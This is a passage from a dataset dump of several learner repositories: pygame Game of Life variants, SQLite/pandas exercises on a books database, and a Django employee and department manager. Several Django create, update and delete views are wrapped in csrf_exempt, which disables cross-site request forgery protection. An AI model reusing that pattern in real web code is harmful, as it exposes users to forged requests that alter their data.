n1.y)\r\n## pauseGame(0.01)\r\n## elif j >= len(lb.neighbors):\r\n## break\r\n \r\n def symTest(lb):\r\n lb.sym = True\r\n for i in range(len(lb.neighborsa)):\r\n if lb.neighborsa[i].lifeNum != lb.neighborsb[i].lifeNum:\r\n lb.sym = False\r\n \r\n def tellNeighbors(lb,schema = \"Striver\"):\r\n if schema == \"Classic\":\r\n if lb.alive == True:\r\n for i in range(len(lb.neighbors)):\r\n lb.neighbors[i].neighborCount += 1\r\n elif schema == \"Striver\":\r\n for i in range(len(lb.neighbors)):\r\n lb.neighbors[i].neighborCount += math.ceil(lb.lifeNum/(lb.lifeNum+5))\r\n lb.neighborCount += math.ceil(lb.lifeNum/(lb.lifeNum+5)) - lb.lifeNum\r\n \r\n\r\n\r\nGameOfLife()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n" }, { "alpha_fraction": 0.40287426114082336, "alphanum_fraction": 0.4594011902809143, "avg_line_length": 28.10948944091797, "blob_id": "f6c16bb57e6ebb374ade42aac85ea186ea76de3d", "content_id": "7ea3c0adf3ffcda65ab39746bed66eee298b1aed", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4175, "license_type": "no_license", "max_line_length": 167, "num_lines": 137, "path": "/GameOfLife_save1.py", "repo_name": "mabelemellie/GameofLife", "src_encoding": "UTF-8", "text": "import time\r\nfrom time import perf_counter as clock\r\nimport math\r\nimport random\r\nimport pygame, sys\r\nfrom pygame.locals import *\r\nimport numpy as np\r\n\r\npygame.init()\r\n\r\n# Colors\r\nLIME = [0,255,0]\r\nBLUE = [0,0,255]\r\nRED = [255,0,0]\r\nMAROON = [128,0,0]\r\nGREEN = [0,128,0]\r\nNAVY = [0,0,128]\r\nYELLOW = [255,255,0]\r\nFUCHSIA = [255,0,255]\r\nAQUA = [0,255,255]\r\nOLIVE = [128,128,0]\r\nPURPLE = [128,0,128]\r\nTEAL = [0,128,128]\r\nORANGE = [255,120,0]\r\nBLACK = [0,0,0]\r\nWHITE = [255,255,255]\r\nGRAY = [128,128,128]\r\nSILVER = [192,192,192]\r\nDGRAY = [64,64,64]\r\n\r\ndef GameOfLife(size):\r\n ## Create window ##\r\n height = size[0]\r\n width = size[1]\r\n DSURF = pygame.display.set_mode((width,height))\r\n pygame.display.set_caption('Game Of Life')\r\n\r\n b = 2\r\n grain = 10 # Size of a box in pixels\r\n height1 = round(height/grain)\r\n width1 = round(width/grain)\r\n initPercent = 30\r\n\r\n lifeList = np.zeros((width1,height1),dtype=int)\r\n for i in range(b,width1-b):\r\n for j in range(b,height1-b):\r\n c = random.randrange(100)\r\n if c > initPercent:\r\n lifeList[i,j] = 1\r\n \r\n time = 0\r\n while True:\r\n DSURF.fill(BLACK)\r\n for i in range(b,width1-b):\r\n for j in range(b,height1-b):\r\n if lifeList[i,j] > 0:\r\n e = 255 - lifeList[i,j]\r\n if e < 0:\r\n e = 0\r\n pygame.draw.rect(DSURF,[255,255,255-e],(i*grain,j*grain,grain,grain),0)\r\n pygame.display.update()\r\n \r\n lifeListNew = np.zeros((width1,height1),dtype=int)\r\n\r\n for i in range(b,width1-b):\r\n for j in range(b,height1-b):\r\n s = s_number(lifeList,i,j)\r\n t = symmetryTest(lifeList,i,j)\r\n## if t == True:\r\n## lifeListNew[i,j] = 1\r\n if s > 4 or s < 2: #Any cell dies\r\n if lifeList[i,j] > 0:\r\n lifeListNew[i,j] -= 1\r\n elif s == 3: #Any cell lives\r\n lifeListNew[i,j] += 1\r\n elif lifeList[i,j] == 1: #Remaining cells live\r\n lifeListNew[i,j] = 1\r\n## p0 = random.randrange(10000)\r\n## if p0 == 42 and lifeListNew[i,j] == 1:\r\n## lifeListNew[i,j] += 1\r\n \r\n## if s == 2:\r\n## p1 = random.randrange(10000)\r\n## if p1 > 9998:\r\n## lifeListNew[i,j] = 1\r\n## p2 = random.randrange(1000)\r\n## if p2 > 1000 and s == 1:\r\n## lifeListNew[i,j] = 1\r\n lifeList = lifeListNew\r\n for event in pygame.event.get():\r\n if event.type == QUIT: # Quit function\r\n pygame.quit()\r\n sys.exit()\r\n if event.type == KEYDOWN:\r\n if event.key == K_p:\r\n pauseGame()\r\n\r\n pygame.display.set_caption('Game Of Life - ' + str(time))\r\n time += 1\r\n #pygame.time.delay(3)\r\n if time == 200:\r\n print(lifeList)\r\n\r\n\r\ndef s_number(lifeList,i,j):\r\n #g = random.choice([1,2])\r\n g = 1\r\n pop = 0\r\n## for k in range(-1,1):\r\n## for l in range(-1,1):\r\n## if k != 0 or l != 0:\r\n## pop += lifeList[i+k,j+l]\r\n for k in [-g,0,g]:\r\n for p in [-g,0,g]:\r\n pop += math.ceil(lifeList[i+k,j+p]/(lifeList[i+k,j+p]+5))\r\n pop -= lifeList[i,j]\r\n return pop\r\n \r\ndef symmetryTest(lifeList,i,j):\r\n if lifeList[i,j+1] == lifeList[i,j-1] and lifeList[i+1,j] == lifeList[i-1,j] and lifeList[i-1,j-1] == lifeList[i+1,j+1] and lifeList[i-1,j+1] == lifeList[i+1,j-1]:\r\n return True\r\n else:\r\n return False\r\n\r\ndef pauseGame():\r\n while True:\r\n for event in pygame.event.get():\r\n if event.type == QUIT: # Quit function\r\n pygame.quit()\r\n sys.exit()\r\n if event.type == KEYDOWN:\r\n if event.key == K_m:\r\n return\r\n\r\n\r\n\r\nGameOfLife([500,800])\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n" }, { "alpha_fraction": 0.7894737124443054, "alphanum_fraction": 0.7894737124443054, "avg_line_length": 94, "blob_id": "911ae78712db306db4604d70dc0b2e0930f5734f", "content_id": "5fc7ff0136fa973210619c6ad0713e82ed2af80d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 190, "license_type": "no_license", "max_line_length": 176, "num_lines": 2, "path": "/README.md", "repo_name": "mabelemellie/GameofLife", "src_encoding": "UTF-8", "text": "# GameofLife\nA couple remixes of conway's game of life. Haven't figured out how to make large numbers of cells run smoothly, probably involves matrix math I'm too rusty on to implement atm.\n" } ]
3
har1558/week-12-exercises
https://github.com/har1558/week-12-exercises
d6080b4c8818f5b7bc9653318e58c6a03bb5f597
25afcd37b543c9dc27a5a256fc8ba73690609774
9168ba939319fc19388443cb4b94d290099c3e44
refs/heads/main
2023-01-27T13:38:47.872755
2020-12-14T01:46:12
2020-12-14T01:46:12
321,153,327
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6151219606399536, "alphanum_fraction": 0.6439024209976196, "avg_line_length": 33.18333435058594, "blob_id": "72241872a667b85b92ff3e160e97b559657282ac", "content_id": "8f75d38655b8095229b288bf25392d9c3e65b63c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2050, "license_type": "no_license", "max_line_length": 80, "num_lines": 60, "path": "/Part-3.py", "repo_name": "har1558/week-12-exercises", "src_encoding": "UTF-8", "text": "\"\"\"\nThis program completes exercise #7.1 in chapter 17 of the class textbook.\nA simple '~~~~~' has been put in between each print command to separate\nthe output.\n\nName: Randy\n\"\"\"\n\nimport sqlite3\nimport pandas as pd\n\nconnection = sqlite3.connect('books.db')\n\n# Create a cursor to execute future queries.\ncursor = connection.cursor()\n\npd.options.display.max_columns = 10\n\n# Sort the authors by descending order of last name.\nprint(pd.read_sql(\"SELECT last FROM authors ORDER BY last DESC\", connection))\nprint(\"~~~~~\")\n\n# Sort the book titles by ascending order.\nprint(pd.read_sql(\"SELECT title FROM titles ORDER BY title\", connection))\nprint(\"~~~~~\")\n\n# Display the title, copyright, and ISBN # of the author with ID 1 (Paul Deitel)\nprint(pd.read_sql(\"\"\"SELECT title, copyright, author_ISBN.isbn FROM authors \n INNER JOIN author_ISBN ON authors.id = author_ISBN.id\n INNER JOIN titles ON author_ISBN.isbn = titles.isbn\n WHERE authors.id = 1\n ORDER BY title\"\"\",\n connection))\nprint(\"~~~~~\")\n\n# Create a new author (with auto-assigned ID 6): Randy Ha\ncursor = cursor.execute(\"\"\"INSERT INTO authors (first, last)\n VALUES ('Randy', 'Ha')\"\"\")\n\n# Display the updated table of authors.\nprint(pd.read_sql('SELECT * FROM authors', connection))\nprint(\"~~~~~\")\n\n# Insert a new book with ISBN 0123456789 and author ID 6 into the author_ISBN\n# and titles tables. \ncursor = cursor.execute(\"\"\"INSERT INTO author_ISBN (id, isbn)\n VALUES ('6', '0123456789')\"\"\")\ncursor = cursor.execute(\"\"\"INSERT INTO titles (isbn, title, edition, copyright)\n VALUES ('0123456789', 'How To: Cure World Hunger',\n '1', '2020')\"\"\")\n\n# DIsplay the updated results.\nprint(pd.read_sql('SELECT * FROM author_ISBN WHERE id = 6', connection))\nprint(\"~~~~~\")\n\nprint(pd.read_sql(\"SELECT * FROM titles WHERE isbn = '0123456789'\", connection))\nprint(\"~~~~~\")\n\n# Close the connection to the database.\nconnection.close()" }, { "alpha_fraction": 0.752136766910553, "alphanum_fraction": 0.7863247990608215, "avg_line_length": 57.5, "blob_id": "7588ec115f416b52d7954e8ca18d11a03ad64c8a", "content_id": "ca07444b90e0b7b330f3ed017daaee280075d849", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 117, "license_type": "no_license", "max_line_length": 96, "num_lines": 2, "path": "/README.md", "repo_name": "har1558/week-12-exercises", "src_encoding": "UTF-8", "text": "# week-12-exercises\nThis is a collection of the things I did to complete the week 12 exercises for my online course.\n" }, { "alpha_fraction": 0.6695950031280518, "alphanum_fraction": 0.6743089556694031, "avg_line_length": 30.97260284423828, "blob_id": "cd9c029218fcee5361e96579f5a7f22db9eead10", "content_id": "f299ddb0583df23837ae85e7754fb6e4429dbd37", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4667, "license_type": "no_license", "max_line_length": 81, "num_lines": 146, "path": "/Part-2.py", "repo_name": "har1558/week-12-exercises", "src_encoding": "UTF-8", "text": "\"\"\"\nThis program completes the exercise shown on Section 17.2 in the book.\nA simple '~~~~~' is inserted between each print statement to make separation\nclearer.\n\nName: Randy\n\"\"\"\n\nimport sqlite3\nimport pandas as pd\n\nconnection = sqlite3.connect('books.db')\n\npd.options.display.max_columns = 10\n\n## SELECT statement.\n# Display all the rows from table authors in the database, ordered by the id.\nprint(pd.read_sql('SELECT * FROM authors', connection, index_col=['id']))\nprint(\"~~~~~\")\n\n# Display the table titles.\nprint(pd.read_sql('SELECT * FROM titles', connection))\nprint(\"~~~~~\")\n\n# Create a new DataFrame from the contents of the table author_ISBN.\ndf = pd.read_sql('SELECT * FROM author_ISBN', connection)\nprint(df.head())\nprint(\"~~~~~\")\n\n# Display the full name of all the authors in the authors table.\nprint(pd.read_sql('SELECT first, last FROM authors', connection))\nprint(\"~~~~~\")\n\n\n## WHERE statement.\n# Display all titles in the table titles newer than 2016.\nprint(pd.read_sql(\"\"\"SELECT title, edition, copyright FROM titles\n WHERE copyright > '2016'\"\"\", connection))\nprint(\"~~~~~\")\n\n# Display all the authors with a last name beginning with D.\nprint(pd.read_sql(\"\"\"SELECT id, first, last FROM authors\n WHERE last LIKE 'D%'\"\"\", connection, index_col=['id']))\nprint(\"~~~~~\")\n\n\n## ORDER BY statement.\n# Display all titles in ascending order of title.\nprint(pd.read_sql('SELECT title FROM titles ORDER BY title ASC', connection))\nprint(\"~~~~~\")\n\n\n# Display all the authors in the database in ascending order of their last name,\n# then of their first name.\nprint(pd.read_sql(\"\"\"SELECT id, first, last FROM authors\n ORDER BY last, first\"\"\", connection, index_col=['id']))\nprint(\"~~~~~\")\n \n# Display all authors like last time, but sort by last names Descending\n# and the first names Ascending after that.\nprint(pd.read_sql(\"\"\"SELECT id, first, last FROM authors\n ORDER BY last DESC, first ASC\"\"\", connection, index_col=['id']))\nprint(\"~~~~~\")\n\n# Display all the books in the database ending with \"How to Program\" and\n# ordered by title.\nprint(pd.read_sql(\"\"\"SELECT isbn, title, edition, copyright FROM titles\n WHERE title LIKE '%How to Program'\n ORDER BY title\"\"\", connection))\nprint(\"~~~~~\")\n\n\n## INNER JOIN statement.\n# Join the author_ISBN and authors tables and display all the authors' full names\n# and ISBN's sorted by last and then first name.\nprint(pd.read_sql(\"\"\"SELECT first, last, isbn FROM authors\n INNER JOIN author_ISBN ON authors.id = author_ISBN.id\n ORDER BY last, first\"\"\", connection).head())\nprint(\"~~~~~\")\n\n## INSERT INTO statement.\n# Create a cursor object to access rows and columns of the database.\ncursor = connection.cursor()\n\n# Insert a new name into the authors table: Sue Red.\ncursor = cursor.execute(\"\"\"INSERT INTO authors (first, last)\n VALUES ('Sue','Red')\"\"\")\n\n# Display the new authors table.\nprint(pd.read_sql('SELECT id, first, last FROM authors', connection,\n index_col=['id']))\nprint(\"~~~~~\")\n\n\n## UPDATE statement.\n# Update the row containing the name Sue Red to change the name to Sue Black.\ncursor = cursor.execute(\"\"\"UPDATE authors SET last='Black'\n WHERE last='Red' AND first='Sue'\"\"\")\n\n# Display the cursor.rowcount field that shows how many rows were updated.\nprint(cursor.rowcount)\nprint(\"~~~~~\")\n\n# List the new authors table.\nprint(pd.read_sql('SELECT id, first, last FROM authors', connection,\n index_col=['id']))\nprint(\"~~~~~\")\n\n\n## DELETE FROM statement.\n# Delete the row that has id 6.\ncursor = cursor.execute('DELETE FROM authors WHERE id=6')\n\n# Display the rowcount again to show how many rows were modified.\nprint(cursor.rowcount)\nprint(\"~~~~~\")\n\n# Display the new table.\nprint(pd.read_sql('SELECT id, first, last FROM authors',\n connection, index_col=['id']))\nprint(\"~~~~~\")\n\n\n## EXERCISE 1\n# Select the titles and edition columns from the table titles and sort\n# in descending order by edition. Then, display the 3 first results.\nprint(pd.read_sql('SELECT title, edition FROM titles ORDER BY edition DESC',\n connection).head(3))\nprint(\"~~~~~\")\n\n\n## EXERCISE 2\n# Select all authors from table authors whose name starts with A.\nprint(pd.read_sql(\"SELECT * FROM authors WHERE first LIKE 'A%'\", connection))\nprint(\"~~~~~\")\n\n\n## EXERCISE 3\n# Select all titles from table titles where the title does not end with the\n# phrase \"How to Program\".\nprint(pd.read_sql(\"\"\"SELECT * FROM titles\n WHERE title NOT LIKE '%How to Program'\"\"\", connection))\nprint(\"~~~~~\")\n\n# Close connection to database.\nconnection.close()" } ]
3
omipareja/Gestor_Empleados
https://github.com/omipareja/Gestor_Empleados
e21e569a20bd74979ffb650a319a13277c2fa988
52624f52ee6c5e3cd8cf707b0ca71c4f3458adb3
7c86208b5024b91c66b396b68af2c61e3bf7a8fa
refs/heads/master
2023-03-14T13:31:15.474902
2021-03-07T00:27:02
2021-03-07T00:27:02
344,855,130
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5471264123916626, "alphanum_fraction": 0.6183907985687256, "avg_line_length": 24.58823585510254, "blob_id": "9f390d21689907ccf17b3cb6ba0d6e212560131a", "content_id": "d617238076a58b605b0c0fab7e43d4192214a7b1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 435, "license_type": "no_license", "max_line_length": 122, "num_lines": 17, "path": "/empleados/aplicaciones/departamento/migrations/0003_auto_20210219_1414.py", "repo_name": "omipareja/Gestor_Empleados", "src_encoding": "UTF-8", "text": "# Generated by Django 3.1.6 on 2021-02-19 14:14\n\nfrom django.db import migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('departamento', '0002_auto_20210218_0125'),\n ]\n\n operations = [\n migrations.AlterModelOptions(\n name='departamento',\n options={'ordering': ['name'], 'verbose_name': 'Mi departamento', 'verbose_name_plural': 'Mis departamentos'},\n ),\n ]\n" }, { "alpha_fraction": 0.6792640686035156, "alphanum_fraction": 0.680258572101593, "avg_line_length": 38.39215850830078, "blob_id": "9ed19ed617b57f4423ac21889a4c4626e88b3cb5", "content_id": "9ebf76e9e15c6a5075432e8ad244da67ffe6a717", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2011, "license_type": "no_license", "max_line_length": 103, "num_lines": 51, "path": "/empleados/aplicaciones/departamento/views.py", "repo_name": "omipareja/Gestor_Empleados", "src_encoding": "UTF-8", "text": "from django.shortcuts import render\nfrom django.urls import reverse_lazy\nfrom django.utils.decorators import method_decorator\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.views.generic.edit import FormView\nfrom django.views.generic import ListView, DetailView, CreateView, TemplateView, UpdateView, DeleteView\nfrom .forms import *\nfrom aplicaciones.persona.models import *\nfrom .models import *\n# Create your views here.\nclass NewDepartamento(FormView): #Esta vista no trabja directamente con modelos\n template_name = \"departamento.html\"\n form_class = NewDepartamento\n success_url = reverse_lazy('departamento:list_departamento')\n\n @method_decorator(csrf_exempt)\n def dispatch(self, request, *args, **kwargs):\n return super().dispatch(request, *args, **kwargs)\n\n\n def form_valid(self, form):\n nombre = form.cleaned_data['nombre']\n apellido = form.cleaned_data['apellidos']\n depa = Departamento.objects.create(\n name= form.cleaned_data['departamento'],\n short_name= form.cleaned_data['shorname']\n )\n Empleado.objects.create( #crar registro\n first_name= nombre,\n last_name= apellido,\n job = '1',\n departamento= depa\n )\n return super(NewDepartamento, self).form_valid(form)\n\nclass DepartamentoListView(ListView):\n template_name = 'departamento_list.html'\n model = Departamento\n context_object_name = 'consulta'\n paginate_by = 2 # para la paginacion de los resultados el crea un objeto de paginacion\n ordering = 'id'\n # def get_queryset(self):\n # palabra = self.request.GET.get(\"kword\", '') # obtengo parametro por metodo GET\n # list = Departamento.objects.filter(name__icontains=palabra)\n # return list\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context['title'] = 'Lista Departamentos'\n context['place_holder'] = 'Buscar Departamento'\n return context\n\n\n" }, { "alpha_fraction": 0.5591647624969482, "alphanum_fraction": 0.6078886389732361, "avg_line_length": 22.94444465637207, "blob_id": "425060bc0b971706fecf470d43b7fd731f0ded47", "content_id": "b2b0ba180943cee6867a338eeea8dfc973ce90ad", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 431, "license_type": "no_license", "max_line_length": 91, "num_lines": 18, "path": "/empleados/aplicaciones/departamento/migrations/0002_auto_20210218_0125.py", "repo_name": "omipareja/Gestor_Empleados", "src_encoding": "UTF-8", "text": "# Generated by Django 3.1.6 on 2021-02-18 01:25\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('departamento', '0001_initial'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='departamento',\n name='short_name',\n field=models.CharField(blank=True, max_length=50, verbose_name='Nombre Corto'),\n ),\n ]\n" }, { "alpha_fraction": 0.6807917356491089, "alphanum_fraction": 0.681209921836853, "avg_line_length": 36.742103576660156, "blob_id": "907068f39d3c2e014c24da68918ddf6891938d1f", "content_id": "6604f49b902712514452ce3a3d2ef3c4f4beb375", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7174, "license_type": "no_license", "max_line_length": 141, "num_lines": 190, "path": "/empleados/aplicaciones/persona/views.py", "repo_name": "omipareja/Gestor_Empleados", "src_encoding": "UTF-8", "text": "from django.shortcuts import render\nfrom django.utils.decorators import method_decorator\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.views.generic import ListView, DetailView, CreateView, TemplateView, UpdateView, DeleteView\n# Create your views here.\nfrom aplicaciones.persona.models import Empleado\nfrom django.urls import reverse_lazy\nfrom .forms import *\n\n\nclass ListarEmpleadosByKword(ListView):\n ''' Listar empleado por palabra clave'''\n template_name = 'clave.html'\n context_object_name = 'empleados'\n\n\n\n def get_queryset(self):\n palabra = self.request.GET.get(\"texto\",'')#obtengo parametro por metodo GET\n list = Empleado.objects.filter(first_name__icontains=palabra)\n print('RESULTADO',list)\n return []\n#Relacion muchos a muchas\nclass ListHabilidades(ListView):\n template_name = 'habilidades.html'\n context_object_name = 'habilidades'\n\n def get_queryset(self):\n empleado = Empleado.objects.get(pk=6)#me recupera un unico rehistro\n return empleado.habilidades.all() #me trae todos las habilidades del empleado\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context['titulo'] = 'Lista Habilidades'\n return context\n\n#DetailVIew\n\n#CCreateView\nclass SuccessView(TemplateView):\n template_name = \"success.html\"\n\nclass PruebaCreate(CreateView):\n template_name = \"create.html\"\n model = Empleado\n fields = ['first_name','last_name','job','departamento','habilidades','hoja_vida']#trae todos los campos del modelo\n success_url = reverse_lazy('persona:correcto')\n\n @method_decorator(csrf_exempt)\n def dispatch(self, request, *args, **kwargs):\n return super().dispatch(request, *args, **kwargs)\n\n def form_valid(self, form): #interceptamos el formulario que se esta enviando para hacer el campo fullname\n empleado = form.save(commit=False) #almacenetodo lo que se ha obtenido en la base de datos el commite es para no hacer doble guardado\n empleado.full_name = empleado.first_name + ' ' + empleado.last_name\n empleado.save() # me actualiza el atributo al objeto\n return super(PruebaCreate, self).form_valid(form)\n\n## INICIO DEL PRIMER PROYECTO ##\nclass InicioView(TemplateView):\n template_name = \"home.html\"\n\nclass ListAllEmpleados(ListView):\n template_name = 'list_all.html'\n paginate_by = 6 #para la paginacion de los resultados el crea un objeto de paginacion\n context_object_name = 'consulta'\n @method_decorator(csrf_exempt)\n def dispatch(self, request, *args, **kwargs):\n return super().dispatch(request, *args, **kwargs)\n\n\n def get_queryset(self):\n palabra = self.request.GET.get(\"kword\",'')#obtengo parametro por metodo GET\n print('palabra :', palabra)\n list = Empleado.objects.filter(first_name__icontains=palabra)\n return list\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context['title'] = 'Lista Empleados'\n context['place_holder'] = 'Buscar empleado'\n return context\n\n\n #traer empleados por departamento\n # queryset = Empleado.objects.filter(\n # departamento__name= 'contabilidad'\n # )\n\n #sobrescribimos el query set\n # pasamos parametro por url\n #def get_queryset(self):\n # area = self.kwargs['shortname'] #para recoger lo que me llega por url\n # lista = Empleado.objects.filter(\n # departamento__name__icontains = area\n # )\n # return lista\n\nclass ListByAreaEmpleado(ListView):\n template_name = 'list_area.html'\n context_object_name = 'consulta'\n\n\n def get_queryset(self):\n area = self.kwargs['area']\n list = Empleado.objects.filter(departamento__name__contains=area)\n return list\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context['title'] = 'Lista Empleados Por Area'\n context['place_holder'] = 'Buscar empleado'\n return context\n\nclass ListAdministrarEmpleado(ListView):\n template_name = 'administrar.html'\n paginate_by = 6\n context_object_name = 'consulta'\n model = Empleado\n\n @method_decorator(csrf_exempt)\n def dispatch(self, request, *args, **kwargs):\n return super().dispatch(request, *args, **kwargs)\n\n\n def get_queryset(self):\n palabra = self.request.GET.get(\"kword\",'')#obtengo parametro por metodo GET\n print('palabra :', palabra)\n list = Empleado.objects.filter(first_name__icontains=palabra)\n return list\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context['title'] = 'Lista Empleados'\n context['place_holder'] = 'Buscar empleado'\n return context\n\nclass UpdateEmpleado(UpdateView):\n template_name = \"update.html\"\n model = Empleado\n fields = ['first_name', 'last_name', 'job', 'departamento', 'habilidades']\n success_url = reverse_lazy('persona:administrar_empleado')\n @method_decorator(csrf_exempt)\n def dispatch(self, request, *args, **kwargs):\n return super().dispatch(request, *args, **kwargs)\n\n def post(self, request, *args, **kwargs):\n self.object = self.get_object() #recuperamos el objeto\n\n return super().post(request, *args, **kwargs)\n\n def form_valid(self, form): #interceptamos el formulario que se esta enviando para hacer el campo fullname\n empleado = form.save(commit=False) #almacenetodo lo que se ha obtenido en la base de datos el commite es para no hacer doble guardado\n empleado.full_name = empleado.first_name + ' ' + empleado.last_name\n empleado.save() # me actualiza el atributo al objeto\n return super(UpdateEmpleado, self).form_valid(form)\n\nclass EliminarEmpleado(DeleteView):\n model = Empleado\n template_name = \"delete.html\"\n success_url = reverse_lazy('persona:administrar_empleado')\n\n @method_decorator(csrf_exempt)\n def dispatch(self, request, *args, **kwargs):\n return super().dispatch(request, *args, **kwargs)\n\nclass EmpleadoCreateView(CreateView):\n template_name = \"create.html\"\n model = Empleado\n form_class = EmpleadoForm #trae todos los campos del modelo\n success_url = reverse_lazy('persona:list_empleados')\n\n @method_decorator(csrf_exempt)\n def dispatch(self, request, *args, **kwargs):\n return super().dispatch(request, *args, **kwargs)\n\n def form_valid(self, form): #interceptamos el formulario que se esta enviando para hacer el campo fullname\n empleado = form.save(commit=False) #almacenetodo lo que se ha obtenido en la base de datos el commite es para no hacer doble guardado\n empleado.full_name = empleado.first_name + ' ' + empleado.last_name\n empleado.save() # me actualiza el atributo al objeto\n return super(EmpleadoCreateView, self).form_valid(form)\n\n\nclass EmpleadoDetail(DetailView):\n model = Empleado\n template_name = \"detail_empleado.html\"\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context['titulo'] = 'empleado del mes'\n return context\n\n\n\n" }, { "alpha_fraction": 0.7946428656578064, "alphanum_fraction": 0.7946428656578064, "avg_line_length": 21.399999618530273, "blob_id": "5888d7d144cd711483c6878ad939537eb4723af3", "content_id": "a9e75f2d9731e572aa95998d0f2a5408a528543d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 112, "license_type": "no_license", "max_line_length": 38, "num_lines": 5, "path": "/empleados/aplicaciones/departamento/apps.py", "repo_name": "omipareja/Gestor_Empleados", "src_encoding": "UTF-8", "text": "from django.apps import AppConfig\n\n\nclass DepartamentoConfig(AppConfig):\n name = 'aplicaciones.departamento'\n" }, { "alpha_fraction": 0.7464622855186462, "alphanum_fraction": 0.7464622855186462, "avg_line_length": 29.321428298950195, "blob_id": "359d8327bb9487e9e76cee2cf5b31a59ee7af586", "content_id": "c3b66682b0c0e8cc118512bfbf2cbdbacfc5073b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 848, "license_type": "no_license", "max_line_length": 65, "num_lines": 28, "path": "/empleados/aplicaciones/home/views.py", "repo_name": "omipareja/Gestor_Empleados", "src_encoding": "UTF-8", "text": "from django.urls import reverse_lazy\nfrom django.utils.decorators import method_decorator\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.views.generic import TemplateView,ListView,CreateView\n\nfrom aplicaciones.home.models import Prueba\nfrom .forms import PruebaForm\n\nclass IndexView(TemplateView):\n template_name = 'success.html'\n\nclass PruebaListView(ListView):\n template_name = 'list.html'\n model = Prueba\n context_object_name = 'Lista'\n\nclass PruebaCreateView(CreateView):\n template_name = \"add.html\"\n model = Prueba\n form_class = PruebaForm\n success_url = reverse_lazy('prueba:correcto')\n\n @method_decorator(csrf_exempt)\n def dispatch(self, request, *args, **kwargs):\n return super().dispatch(request, *args, **kwargs)\n\nclass Foundation(TemplateView):\n template_name = \"foundation.html\"" }, { "alpha_fraction": 0.6319444179534912, "alphanum_fraction": 0.6319444179534912, "avg_line_length": 25.703702926635742, "blob_id": "b5ecd663934536f84adfb05d92cefa055c326e60", "content_id": "6f44c25ca00ba55cd317295ed106d8e53871990b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 720, "license_type": "no_license", "max_line_length": 92, "num_lines": 27, "path": "/empleados/aplicaciones/persona/admin.py", "repo_name": "omipareja/Gestor_Empleados", "src_encoding": "UTF-8", "text": "from django.contrib import admin\n\n# Register your models here.\nfrom .models import *\n\n\nadmin.site.register(Habilidades)\n\nclass EmpleadoAdmin(admin.ModelAdmin): #Se Crea una tabla en el admin y se modifica\n list_display = (\n 'pk',\n 'first_name',\n 'last_name',\n 'departamento',\n 'job',\n 'full_name',\n #'habilidades',\n )\n #\n def full_name(self,obj):\n return obj.first_name + ' ' + obj.last_name\n #\n\n search_fields = ('first_name',)# se crea un buscador por trabajo\n list_filter = ('job',) # se crea un filtro\n filter_horizontal = ('habilidades',)# este campo solo funciona con relaciones MANYTOMANY\nadmin.site.register(Empleado,EmpleadoAdmin)" }, { "alpha_fraction": 0.36588022112846375, "alphanum_fraction": 0.3676950931549072, "avg_line_length": 41.400001525878906, "blob_id": "853e31342f617d57ee858bd18a6a8589e6961fbe", "content_id": "857fa8ded9c62532b9d3c826e6940872cf3ecb77", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 2755, "license_type": "no_license", "max_line_length": 128, "num_lines": 65, "path": "/empleados/templates/list.html", "repo_name": "omipareja/Gestor_Empleados", "src_encoding": "UTF-8", "text": "{% extends 'base.html' %}\n\n\n{% block contenido %}\n <div class=\"grid-container\">\n <div class=\"grid-x\">\n <h1 class=\"cell\">{{ title }}</h1>\n {% block buscador %}\n {% csrf_token %}\n <form method=\"get\" class=\"cell grid-x grid-margin-x\" > <!-- se define una fila -->\n <div class=\"cell large-8 \"> <!-- se crean las columnas -->\n <input type=\"text\" id=\"kword\" name=\"kword\" placeholder=\"{{ place_holder }}\">\n </div>\n <div class=\"cell large-4\"><!-- se crean las columnas -->\n <button type=\"submit\" class=\"success button\">Buscar</button>\n </div>\n </form>\n {% endblock %}\n <div class=\"cell\"> <!-- se crea la taba -->\n <table>\n <thead>\n <tr>\n {% block cabecera %}\n {% endblock %}\n </tr>\n </thead>\n <tbody>\n {% block cuerpo %}\n \n {% endblock %}\n </tbody>\n </table>\n </div>\n <div class=\"cell\">\n {% if is_paginated %}\n <nav aria-label=\"Pagination\">\n <ul class=\"pagination\">\n {% if page_obj.has_previous %} <!-- si este objeto tiene paginas atras muestrame el previus -->\n <li class=\"pagination-previous \">\n <a href=\"?page={{page_obj.previous_page_number }}\">Atras</a>\n </li>\n {% endif %}\n {% for 